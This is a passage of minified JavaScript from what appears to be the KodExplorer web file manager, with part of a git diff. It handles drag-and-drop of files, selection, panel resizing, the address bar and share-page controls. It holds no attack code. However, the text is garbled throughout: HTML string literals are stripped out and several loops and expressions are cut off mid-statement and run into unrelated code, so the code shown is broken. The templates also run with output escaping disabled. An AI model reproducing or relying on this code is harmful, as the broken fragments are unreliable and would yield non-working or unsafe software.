.split-box",b="split-hover";$(a).live("mouseenter",function(c){$(a).removeClass(b),$(this).addClass(b)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(b)}).die("click").live("click",function(a){q(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(a){var b=$(a.target).parents(".file");(0==b.length||0==b.find(".children-open").length)&&q(ui.fileLight.path($(this)))})},q=function(a){var b=$(".file-list-split .split-box"),c=$('.file-list-split .split-box[data-path="'+pathHashEncode(a)+'"]'),d=$('.file-list-split .split-box .file[data-path="'+pathHashEncode(a)+'"]'),e="split-select";0==c.length&&(c=b.last()),b.removeClass(e),c.addClass(e),0==ui.fileLight.fileListSelect().length&&d.addClass("select"),ui.fileLight.select();var f=c.data("jsonData");f&&a&&(ui.fileContent.pathTypeChange(f),G.thisPath=a,G.jsonData=f,ui.headerAddress.addressSet()),ui.fileLight.init()},r=function(a){return a.hasClass("menuSharePath")||a.hasClass("systemBox")?!1:!0},s=function(a){$("body").removeClass("cursor-mouse cursor-warning cursor-move cursor-down cursor-add"),a&&$("body").addClass("cursor-mouse cursor-"+a)},t=function(){var a,b,f,g=150,h=!1,i=!1,j=0,k=!1,l=-15,m=10,n=0,o=0,p="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(b){if(!b.shiftKey){if(ui.isEdit())return!0;if(1!=b.which||d)return!0;a=$(this),u(b),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(a){v(a)}),$(document).keydown(function(a){v(a)}),$(document).keyup(function(a){v(a)}),$(document).one("mouseup",function(a){y(a),this.releaseCapture&&this.releaseCapture()}),$(document).one("keyup",function(a){27==a.which&&y(!1)})}});var q,t,u=function(a){$.contextMenu.hidden(),e=!0,j=$.now(),n=a.pageY,o=a.pageX,b=$(document).height(),f=$(document).width(),i=$(a.target).parents(".file")},v=function(c){if(!e)return!0;if(!r(a))return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-j>g&&!k&&(z(),h=$(".draggable-dragging"),h.attr("data-beforeInfo",h.find("span").html())),k){var d=c.clientX>=f-50?f-50:c.clientX,i=c.clientY>=b-50?b-50:c.clientY;return d=0>=d?0:d,i=0>=i?0:i,d-=l,i-=m,h.css({left:d,top:i}),w(c),K(d-o+l,i-n+m),!0}},w=function(a){clearTimeout(q),q=!1,q=setTimeout(function(){try{x(a)}catch(b){}},10)},x=function(a){var b=a.ctrlKey||a.metaKey,c=function(a,b){"undefined"!=typeof G.sid&&(a="none"),void 0!=b&&0!==b.search(G.KOD_GROUP_PATH)&&0!==b.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(b)&&(a="clear");var c=htmlEncode(core.pathThis(b)),d=" "+h.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),e={copyTo:''+LNG.copy_to+'"'+c+'"',moveTo:''+LNG.cute_to+'"'+c+'"',remove:''+LNG.remove+d+"",share:''+LNG.share+d+"",none:''+LNG.no_permission_write+"",clear:h.attr("data-beforeInfo")};C(b)||(e.copyTo=''+LNG.clone+""),h.find("span").html(e[a]),h.attr("data-actionType",a),h.attr("data-actionPath",b),h.attr("id","drag-action-"+a);var e={copyTo:"add",moveTo:"move",remove:"move",share:"add",none:"default",clear:"default"};s(e[a])},d=G.thisPath,e="";if($(".curDropToPath").exists())d=$(".curDropToPath").attr("data-path");else if($(".curDropTreeNode").exists()){var f=$(".curDropTreeNode").parent().attr("id"),g=ui.tree.zTree().getNodeByTId(f);d=g.path}else if($(".file-select-drag-temp").exists())d=ui.fileLight.path($(".file-select-drag-temp")),$(".file-select-drag-temp").hasClass("menu-recycle-button")&&(e="remove");else if($(".children-list-dropover").exists()){var i=$(".children-list-dropover");d=i.hasClass("children-list")?pathHashDecode(i.attr("data-path-children")):G.thisPath}else $(".split-hover").exists()?d=ui.fileLight.path($(".split-hover")):e=$(".recycle-hover").exists()?"remove":$(".share-hover").exists()&&1==ui.fileLight.fileListSelect().length?"share":"clear";e&&!b||(e=b?"copyTo":C(d)?"moveTo":"clear"),c(e,d)},y=function(a){if(!e)return!1;if(clearTimeout(q),clearTimeout(c),e=!1,k=!1,$("body").removeClass(p),h){h.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){h.remove(),h=!1}),$(".curDropToPath,.curDropTreeNode,.curDropTreeNode,.file-select-drag-temp,.children-list-dropover").removeClass("curDropToPath curDropTreeNode curDropTreeNode file-select-drag-temp children-list-dropover");var b=h.attr("data-actionType");if(L(-1!=$.inArray(b,["copyTo","moveTo","remove","share"])?!1:!0),s(!1),a){var d=function(a,b){switch(ShareData.data("FILE_SELECT_ARRAY",A),a){case"copyTo":ui.path.copyDrag(b,!0);break;case"moveTo":ui.path.cuteDrag(b);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share()}},f=h.attr("data-actionPath");d(b,f)}}},z=function(){$("body").addClass(p);var a=ui.fileLight.fileListSelect().length;$('
          '+a+'
          '+a+" "+LNG.file+"
          ").appendTo("body"),k=!0,setTimeout(J,20),B()},A=[],B=function(){A=[],ui.fileLight.fileListSelect().each(function(){A.push({path:ui.fileLight.path($(this)),type:"folder"==ui.fileLight.type($(this))?"folder":"file"})})},C=function(a){for(var b=0;b
          ").appendTo("body"),t=$(Config.SelectClass).filter("[data-path!='']");var c=t.clone();(t.length>=I||$.browser.msie)&&(c=i.clone()),c.appendTo(".file-draging"),c.each(function(a){var b=$(".bodymain .file-continer .file[data-path='"+$(this).attr("data-path")+"']"),d=b.offset();$(this).css({left:d.left,top:d.top,width:b.width()}),$(this).data({"data-left":d.left,"data-top":d.top,"data-animateTime":200+a*E,"data-sizeAdd":D*a}),$(this).attr("data-path")==i.attr("data-path")&&$(this).addClass("handle_target"),1==c.length&&($(this).data({"data-animateTime":0}),H=0)}),t.addClass("item-file-draging");var d=setTimeout(function(){$(".file-draging-box").data("animate","finished");var a=$(".draggable-dragging");c.each(function(b){var c=$(this),d=$(this).data("data-sizeAdd"),e=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:e,easing:"swing",progress:function(b,e,f,g,h){var i=c.offset(),j=a.offset(),k=(j.left+d-i.left)*e,l=(j.top+d+F-i.top)*e;c.css({left:i.left+k,top:i.top+l})},complete:function(){c.data("status","finished")}})})},H);$(".file-draging-box").data("dragDelay",d),$(".file-draging-box").data("animate","ready")},K=function(a,b){return"finished"!=$(".file-draging-box").data("animate")?void $(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+a,top:$(this).data("data-top")+b})}):void $(".file-draging .file").each(function(a){if("finished"==$(this).data("status")){var b=$(this).data("data-sizeAdd"),c=$(".draggable-dragging").offset();$(this).css({left:c.left+b,top:c.top+b+F})}})},L=function(a){var b=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(b){var c=b*E,d=$(".bodymain .file-continer .file[data-path='"+$(this).attr("data-path")+"']");a?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+c,function(){t.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(d.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+c,function(){$(this).remove()}))});var c=setTimeout(function(){$(".file-draging-box").remove()},400+E*b);$(".file-draging-box").data("removeDelay",c)}},u=function(){var a=null,b=null,c=null,f=0,g=0,h=0,i=0,j="",k="bodymain";core.isApp("desktop")&&(k="file-continer");var l=$("."+k);l.die("mousedown").live("mousedown",function(a){if(!($(a.target).hasClass(k)&&$(document).width()-a.pageX<20)){if(h=$(".file-continer").outerHeight(),i=l.outerHeight(),ui.isEdit())return!0;if(1!=a.which||e)return!0;m(a),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(a){n(a)}),$(document).one("mouseup",function(a){clearTimeout(j),j=!1,q(a),this.releaseCapture&&this.releaseCapture()})}});var m=function(e){g=l.offset().left-l.scrollLeft(),f=l.offset().top-l.scrollTop(),"split"==G.userConfig.listType&&(f+=$(e.target).parents(".split-box").scrollTop()),$(e.target).parent().hasClass(Config.FileBoxClassName)||$(e.target).parent().parent().hasClass(Config.FileBoxClassName)||$(e.target).hasClass("fix")||($.contextMenu.hidden(),e.ctrlKey||e.metaKey||e.shiftKey||ui.fileLight.clear(),$(e.target).hasClass("ico")||(a=e.pageX-g,b=e.pageY-f,j=setTimeout(function(){d=!0,0==$(".select-container").length&&$('
          ').appendTo(Config.FileBoxSelector),c=$(".select-container")},100)))},n=function(e){if(!d)return!0;var f=e.pageX-l.offset().left+l.scrollLeft(),g=e.pageY-l.offset().top+l.scrollTop(),j=Math.abs(f-a),k=Math.abs(g-b);g>b&&k>h-b&&h>i&&(k=h-b),o(g,b,k,l),c.css({left:Math.min(f,a)+2,top:Math.min(g,b)+2,width:j,height:k}),ui.fileLight.fileListAll().length<1e3&&p()},o=function(a,b,c,d){var e=d.outerHeight(),f=d.scrollTop(),g=f;if(a>b){var h=b+c,i=e+f,j=h-i;j>0?g+=j:-e>j&&(g+=e-Math.abs(j))}else if(b>a){var k=b-c,l=f,j=k-l;0>j?g+=j:j>e&&(g+=Math.abs(j)-e)}g!==f&&d.stop(!0,!1).animate({scrollTop:g},100)},p=function(){for(var a=c.offset().left-l.offset().left+l.scrollLeft(),b=c.offset().top-l.offset().top+l.scrollTop(),d=a+c.width(),e=b+c.height(),f=ui.fileLight.fileListAll(),g=0;g=g||g%f==0?g:g-1;break;case"left":e=0>=g-f?0:g-f;break;case"pagedown":case"down":e=h>=d||(h+1)%f==0?h:h+1;break;case"right":e=h+f>=d?d:h+f}return b.eq(e)},y=function(a){if(core.isApp("desktop"))return x(a);var b=w.fileListAll(),c=w.fileListSelect(),d=b.length-1,e=0,f=ui.getRowfileNumber(),g=ui.getPagefileNumber(),h=b.index(c.first()),i=b.index(c.last());switch(a){case"up":e=0>=h-f?0:h-f,e=z(e,!1);break;case"left":e=0>=h?0:h-1;break;case"down":e=i+f>=d?d:i+f,e=z(e,!0);break;case"right":e=i>=d?i:i+1;break;case"pageup":e=0>=h-g?0:h-g,e=z(e,!1);break;case"pagedown":e=i+g>=d?d:i+g,e=z(e,!0)}return b.eq(e)},z=function(a,b){for(var c=w.fileListAll(),d=c.eq(a),e=c.length;0!=d.parents(".hidden").length;){if(b?a++:a--,0>=a||a>=e)return a;d=c.eq(a)}return a},A=function(a){var b,c=w.fileListAll(),d=w.fileListSelect(),e="",f=!1;switch(a.indexOf("shift+")>=0&&(f=!0,a=a.replace("shift+","")),a){case"home":e=d.last(),b=c.first();break;case"end":e=d.first(),b=c.last();break;case"left":e=d.last(),b=y(a);break;case"up":e=d.last(),b=y(a);break;case"right":e=d.first(),b=y(a);break;case"down":e=d.first(),b=y(a);break;case"pageup":e=d.last(),b=y(a);break;case"pagedown":e=d.first(),b=y(a);break;case"clear":return void ui.fileLight.clear();case"reverse":return c.each(function(){$(this).toggleClass(Config.SelectClassName)}),ui.fileLight.select(),void ui.fileLight.setInView();case"all":b=c}if(!C(a)){if(f&&""!=e){var g=c.index(e),h=c.index(b);if(g>h){var i=g;g=h,h=i}return void D(g,h,c)}B(b)}},B=function(a){0!=a.length&&(ui.fileLight.clear(),a.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"split"==G.userConfig.listType&&1==a.length&&o($(ui.fileLight.fileListSelect()[0])))},C=function(a){var b=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.userConfig.listType)return!1;switch(a){case"left":if("list"==G.userConfig.listType)if(1==b.find(".children-more-cert.cert-open").length)b.find(".children-more-cert").removeClass("cert-open"),b.next().addClass("hidden");else{var c=b.parent(".children-list").prev(".file");B(c)}else if("split"==G.userConfig.listType){var c=b.parents(".split-box").prev().find(".select-split-parent");B(c)}break;case"right":if("list"==G.userConfig.listType)1==b.find(".children-more-cert").length&&(ui.fileContent.pathChildrenTree(b),b.find(".children-more-cert").addClass("cert-open"),b.next().removeClass("hidden"));else if("split"==G.userConfig.listType){var c=b.parents(".split-box").next().find(".file:eq(0)");B(c)}break;default:return!1}return!0},D=function(a,b,c){if(core.isApp("desktop"))return E(a,b,c);ui.fileLight.clear();for(var d=a;b>=d;d++)$(c[d]).addClass(Config.SelectClassName);ui.fileLight.select()},E=function(a,b,c){var d=ui.getColfileNumberDesktop(),e=Math.ceil(w.fileListAll().length/d),a={row:a%d,col:parseInt(a/d)},b={row:b%d,col:parseInt(b/d)};if(b.row=k;k++)g(h,k)}ui.fileLight.select()};return{init:function(){g(),p(),t(),u()},isDraging:function(){return e},selectSplit:q,selectPos:A}});;define("app/src/explorer/fileListResize",[],function(a,b){var c={filename:250,filetype:80,filesize:80,filetime:150,explorerTreeWidth:199,editorTreeWidth:199},d={filename:150,filetype:60,filesize:60,filetime:120,explorerTreeWidth:2,editorTreeWidth:2},e=c,f=function(){if(LocalData.get("resizeConfig"))e=jsonDecode(LocalData.get("resizeConfig"));else{"undefined"!=typeof G.userConfig.resizeConfig&&(e=jsonDecode(htmlDecode(G.userConfig.resizeConfig)));var a=jsonEncode(e);LocalData.set("resizeConfig",a)}$.each(c,function(a,b){(!e[a]||e[a]n-8&&n+8>j&&(j=n+1),f){var o=400;k.animate({width:j},o),l.animate({left:j-5},o),m.animate({left:j},o)}else k.css("width",j),l.css("left",j-5),m.css("left",j);"undefined"!=typeof ui.setStyle&&ui.setStyle(),b&&(e=i,g())}},j=function(){return void 0!=$.getUrlParam("type")?!0:!1},k=function(a,b,c){var f=$.extend(!0,{},e);f[a]+=b,h(f),c&&(e=f,$.each(e,function(a,b){b<=d[a]&&(e[a]=d[a])}),g())},l=function(){$("#main-title").hasClass("bind-init")||(h(e),$("#main-title").addClass("bind-init"),$.each(c,function(a,b){$("#main-title ."+a+"-resize").drag({start:function(){},move:function(b,c){k(a,b,!1)},end:function(b,c){k(a,b,!0)}})}))},m=function(){var a=$(".frame-resize");a.drag({start:function(){a.addClass("active"),$(".resize-mask").css("display","block")},move:function(a,b){i(a,!1,!1)},end:function(b,c){i(b,!0,!1),a.removeClass("active"),$(".resize-mask").css("display","none")}})},n=function(){var a="fileIconSize";core.isApp("desktop")&&(a="fileIconSizeDesktop");var b=G.userConfig[a];b||(b="75"),q(b,!1),o(b)},o=function(a){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var b=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["100","box-size-big"],["120","box-size-bigx"]],c=10,d="",e=0;e=f-c&&f+c>=a){d=b[e][1];break}}""!=d&&$("."+d).addClass("selected")},p=function(a){var b="fileIconSize";core.isApp("desktop")&&(b="fileIconSizeDesktop"),G.userConfig[b]=a,o(a),$.get(G.appHost+"setting/set&k="+b+"&v="+a)},q=function(a,b){var c=a,d=105,e=30,f=250;core.isApp("desktop")&&(e=40,f=150),c=e>=c?e:c,c=c>=f?f:c;var g=(a-e)*d/(f-e),h=20,i=10,j=parseInt(c),k=j+2*h-i+5,l=j-i,m=j-i,n=.4*j,o=j+3*h-i,q=".file-list-icon div.file,.file-list-icon .flex-empty{height:"+k+"px;width:"+j+"px;}";core.isApp("desktop")&&(k-=5,q="div.file-list-icon div.file,.file-list-icon .flex-empty{height:"+k+"px;width:"+j+"px;}"),$.browser.mozilla&&(m-=4);var r="div.file-list-icon div.file{max-height:"+o+"px;}"+q+" .file-list-icon .meta-info{height:"+n+"px;width:"+n+"px; margin-right:"+.16*n+"px;margin-top:-"+1.1*n+"px;} .file-list-icon div.file .filename{width:"+j+"px;} .file-list-icon div.file .filename #pathRenameTextarea, .file-list-icon div.file .filename .newfile{width:"+j+"px;} .file-list-icon div.file .ico{padding-left:"+i/2+"px;height:"+m+"px;width:"+l+"px} .file-list-icon div.file .ico.picture{width:"+l+"px;padding-left:"+i/2+"px;overflow:hidden;display:block;} ";$.setStyle(r,"file_icon_resize"),$(".slider-handle").css("top",g),b&&p(a)},r=function(){var a,b=$(".slider-handle");$(".set-icon-size-slider").bind("click",function(a){return stopPP(a),!1});var c=function(b){var c=0,d=105,e=30,f=250,g=a+b;g=c>g?c:g,g=g>d?d:g;var h=parseInt(g/d*(f-e)+e);return q(h,!1),h};b.drag({start:function(c){b.addClass("active"),a=parseInt(b.css("top"))},move:function(a,b,d){c(b)},end:function(a,d,e){b.removeClass("active"),p(c(d),!0)}});var d=$(".slider-bg");$(".slider-bg").unbind("click").bind("click",function(b){var e=b.clientY-d.offset().top;a=0,p(c(e),!0)})},s=function(){var a=function(a,b){var c=a.parent(),d=$(".split-box").index(c),e=parseInt(c.data("before_width"))+b;if(!(150>e)){$($(".split-line").get(d)).css("width",e),c.css("width",e),$(".split-box:gt("+d+")").each(function(){$(this).hasClass("is-drag-split")||$(this).css("left",parseInt($(this).data("before_left"))+b+"px")});var f=[];$(".split-box").each(function(){f.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("splitBoxSize",jsonEncode(f))}};$(".bodymain .file-list-split .split-drag").drag({start:function(a,b){var c=b.parent();c.addClass("is-drag-split").data("before_width",c.width()),$(".split-box,.split-line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(b,c,d,e){a(e,b)},end:function(a,b,c,d){d.parent().removeClass("is-drag-split")}},!0),$(".file.select-split-parent").removeClass("select-split-parent"),$(".split-box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select-split-parent")}),t()},t=function(){var a=LocalData.get("splitBoxSize"),b=0;a=!a||jsonDecode(a)?[]:jsonDecode(a);var c=function(c,d){var e=a[d];e||(e={width:250,left:b}),b+=e.width+1,c.css({width:e.width+"px",left:e.left})};b=0,$(".split-box").each(function(a){c($(this),a)}),b=0,$(".split-line").each(function(a){c($(this),a)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){f(),j()&&(e=c),h(e),m(),i(0,!1,!0),r()},initFileSize:n,bindSplitResize:s,bindHeaderResize:l,setFileIconSize:q}});;define("app/src/explorer/headerAddress",[],function(a,b){var c=function(){$("#yarnball li a").die("click").live("click",function(a){var b=$(this).attr("data-path");g(b),stopPP(a)}),$("#yarnball").die("click").live("click",function(){return $("#yarnball").css("display","none"),$("#yarnball-input").css("display","block"),$("#yarnball-input input").focus(),!0});var a=$("#yarnball-input input");a.die("blur").live("blur",function(){g(a.val())}).keyEnter(function(){g(a.val())}),$(".header-right input").keyEnter(function(a){ui.path.search($(".header-right input").val(),G.thisPath)}),$(".header-right input").bind("keyup focus",function(){ui.path.setSearchByStr($(this).val())}),$(".header-content a,.header-content button").click(function(a){var b=$(this).attr("id");switch(b){case"btn-history-back":ui.path.history.back();break;case"btn-history-next":ui.path.history.next();break;case"refresh":ui.f5(!0,!0),ui.tree.init();break;case"home":ui.path.list(G.myhome);break;case"fav":ui.path.pathOperate.fav({path:G.thisPath,type:"folder",name:$("ul.yarnball li:last .title-name").html()});break;case"goto-father":h();break;case"setting":core.setting();break;case"search":ui.path.search($(".header-right input").val(),G.thisPath)}return!0})},d=function(a){var b=G.thisPath;f(G.thisPath),$("#yarnball-input").css("display","none"),$("#yarnball").css("display","block");var c=function(a){var b='
        • {$3}
        • ',c='
        • {$3}
        • ';a=a.replace(/\/+/g,"/");var d=a.split("/");""==d[d.length-1]&&d.pop();var e=d[0]+"/",f=b.replace(/@1@/g,e),g=d[0],h="";if(G.jsonData.info&&G.jsonData.info.pathType&&""!=d[0]){var i=core.getPathIcon(G.jsonData.info,G.jsonData.info.name);h=''+core.iconSmall(i.icon)+"",g=i.name}f=f.replace("{$2}",d.length),f=f.replace("{$3}",h+''+htmlEncode(g)+"");for(var j=f,k=1,l=d.length-1;k'+htmlEncode(d[k])+""),j+=f}return'
            '+j+"
          "};void 0==a&&$("#yarnball").html(c(b)),e()},e=function(){$(".yarnball").stop(!0,!0);var a=$("#yarnball").innerWidth(),b=0;$("#yarnball li a").each(function(a){b+=$(this).outerWidth()+parseInt($(this).css("margin-left"))+5});var c=a-b;0>=c?$(".yarnball").css("width",b+"px").css("left",c+"px"):$(".yarnball").css({left:"0px",width:a+"px"})},f=function(a){var b=$("#yarnball-input .path");if(void 0==a){var c=b.val();return c=rtrim(core.pathClear(c))+"/"}b.val(a)},g=function(a,b){a=a.replace(/\\/g,"/"),ui.path.list(a),d(b)},h=function(){var a=f();if("/"==a||-1==a.indexOf("/"))return void Tips.tips(LNG.path_is_root_tips,"warning");var b=core.pathFather(a);ui.path.list(b),d()};return{init:c,addressSet:d,resetWidth:e,gotoFather:h}});;define("app/shareCommon/topbar",[],function(a,b){var c=function(){var a=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid,b=G.appHost+"share/fileProxy&user="+G.user+"&sid="+G.sid;"file"!=G.shareInfo.type&&"undefined"!=typeof G.path?(b+="&path="+G.path,a+="&path="+G.path,$(".btn.button-my-share").hide(),$(".share-info-user .btn-group").show()):($(".btn.button-my-share").show(),$(".share-info-user .btn-group").hide()),"file"==G.shareInfo.type&&($(".btn.button-my-share").hide(),$(".share-info-user .btn-group").show()),"1"==G.shareInfo.notDownload&&(a="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share-info-user").removeClass("hidden"),$(".btn-download").attr("href",a);var c=date("Y/m/d H:i:s",G.shareInfo.mtime);$(".topbar .time").html(c),"file"==G.shareInfo.type&&$(".topbar .size").html(G.shareInfo.size),$(".topbar .info").html(LNG.share_view_num+G.shareInfo.numView+" "+LNG.share_download_num+G.shareInfo.numDownload),$("#button_share").die("click").live("click",function(){share()}),"A"!=core.versionType&&$(".version_vip_free").remove(),core.isApp("explorer")&&$(".btn-download").hide().attr("href","").remove()};return{init:c}}); \ No newline at end of file diff --git a/static/js/app/src/shareIndex/main.js b/static/js/app/src/shareIndex/main.js index b4c407c..f1e59f1 100755 --- a/static/js/app/src/shareIndex/main.js +++ b/static/js/app/src/shareIndex/main.js @@ -1,5 +1,2 @@ -/*! power by kodcloud ver4.25(2017-12-04) [build 1512365183740] */ -define("app/src/shareIndex/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","lib/contextMenu/jquery-contextMenu","../../common/core","../../common/rightMenuExtence","../../app/appBase","../../app/editor","../../app/openWith","../../app/html","../../shareCommon/topbar","./fileShow","../edit/previewMarkdownParse"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),e("lib/contextMenu/jquery-contextMenu"),core=e("../../common/core"),topbar=e("../../shareCommon/topbar"),fileShow=e("./fileShow"),window.require=e,$(document).ready(function(){if(core.init(),$(".init-loading").fadeOut(450).addClass("pop_fadeout"),"undefined"!=typeof G){fileShow.init();var e=function(){var e=$.getUrlParam(),t=e.url+"&password="+$(".form-control").val();$.get(t,function(e){1==e.code?window.location.reload():Tips.tips(e)})};$(".share-login").click(e),$(".form-control").keyEnter(e)}})}),define("app/common/core",["./rightMenuExtence","../app/appBase","../app/editor","../app/openWith","../app/html"],function(require,exports){tplUpload=require("./tpl/upload.html"),tplFormMake=require("./tpl/formMake.html");var tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),formMake=require("./core.formMake");require("./rightMenuExtence"),kodApp=require("../app/appBase"),require("../app/editor"),require("../app/openWith"),require("../app/html"),pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initTemplate=function(){window.require=require,template.config||(template.config=function(e,t){template.defaults[e]=t},template.helper=function(e,t){template.defaults.imports[e]=t}),template.config("escape",!1),template.config("compress",!0),template.helper("kod",{$:$,window:window,log:console.log,core:core,pathTools:window.pathTools,inArray:inArray}),template.defaults.imports.pathTools=window.pathTools,template.defaults.escape=!1,"_dev"==G.environment?(template.defaults.cache=!1,template.defaults.minimize=!1,template.defaults.compileDebug=!0):(template.defaults.cache=!0,template.defaults.minimize=!0,template.defaults.compileDebug=!1)},initFirst=function(){initTemplate(),"undefined"!=typeof G&&(1!=G.isRoot&&$(".menu-system-setting").remove(),G.isRoot||core.authCheck("systemMember.get")||1==core.authCheck("systemGroup.get")||$(".menu-system-group").remove(),G.userConfig&&"0"==G.userConfig.animateOpen&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{$.contextMenu.hidden()}catch(e){}}),$("body").click(function(){ShareData.frameTop("",function(e){self!=e&&e.$("body").trigger("click")})}),$.dialog.defaults.animate&&loadRipple(["a","button",".ripple-item",".context-menu-item","#picker",".menuShareButton",".menu-recycle-button",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common-footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init();for(var e=0;window.kodReady.length>e;e++)try{window.kodReady[e]()}catch(t){console.error("kodReady error:",t)}Hook.trigger("kodReady.end"),titleTips()},resetHost=function(){var e=window.location,t=e.port?":"+e.port:"";G.webHost=e.protocol+"//"+e.hostname+t+"/",G.appHost=rtrim(G.webHost,"/")+e.pathname.replace("index.php","")+"index.php?",G.appRoot=rtrim(G.webHost,"/")+e.pathname.replace("index.php",""),"1"==G.settings.paramRewrite&&(G.appHost=G.appHost.replace("index.php?","index.php/")),Cookie.set("HOST",G.webHost),Cookie.set("APP_HOST",G.appRoot),Cookie.set("kodUserLanguage",G.lang,8760)},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
          ")}}),$("body").bind("mousedown",function(){$(".ptips-skin").remove(),$.setStyle("body .ptips-skin{display:none !important;}","ptips-title")}).bind("mouseup",function(){$.setStyle("","ptips-title")}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,formMake:formMake,getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var a=trim(trim(e),"/");if(e={},"{"!=a.substring(0,1)||a.split("/").length>1)return{icon:"",name:""};e.pathType=a.match(/\{.*\}/),e.id=a.split(":")[1]}var i={};i[G.KOD_USER_SHARE]={icon:"user-self",name:LNG.my_share},i[G.KOD_GROUP_PATH]={icon:"group-self-owner"},i[G.KOD_GROUP_SHARE]={icon:"group-guest"},i[G.KOD_USER_SELF]={icon:"user-self"},i[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},i[G.KOD_USER_FAV]={icon:"tree-fav",name:LNG.fav},i[G.KOD_GROUP_ROOT_SELF]={icon:"group-self-root",name:LNG.my_kod_group},i[G.KOD_GROUP_ROOT_ALL]={icon:"group-root",name:LNG.kod_group};var n=i[e.pathType];return e.pathType==G.KOD_USER_SHARE&&G.userID!=e.id?n={icon:"user",name:t}:e.pathType==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"group-self-owner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),a=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];return-1!==$.inArray(t[0],a)?!0:!1},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{$.contextMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can-right-menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit-body").length||0!=$(t.target).parents(".aui-state-focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),a=t.lastIndexOf("/"),i=t.substr(a+1);if(0==i.search("fileProxy")){i=urlDecode(i.substr(i.search("&path=")));var n=i.split("/");i=n[n.length-1],""==i&&(i=n[n.length-2])}return i},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),a=t.lastIndexOf("/");return t.substr(0,a+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},pathUrlEncode:function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var a,i=this.pathClear(e);return G.isRoot&&t&&i.substring(0,G.webRoot.length)==G.webRoot?a=G.webHost+this.pathUrlEncode(i.replace(G.webRoot,"")):(a=G.appHost+"explorer/fileProxy&accessToken="+G.accessToken+"&path="+urlEncode(i),G.sharePage!==void 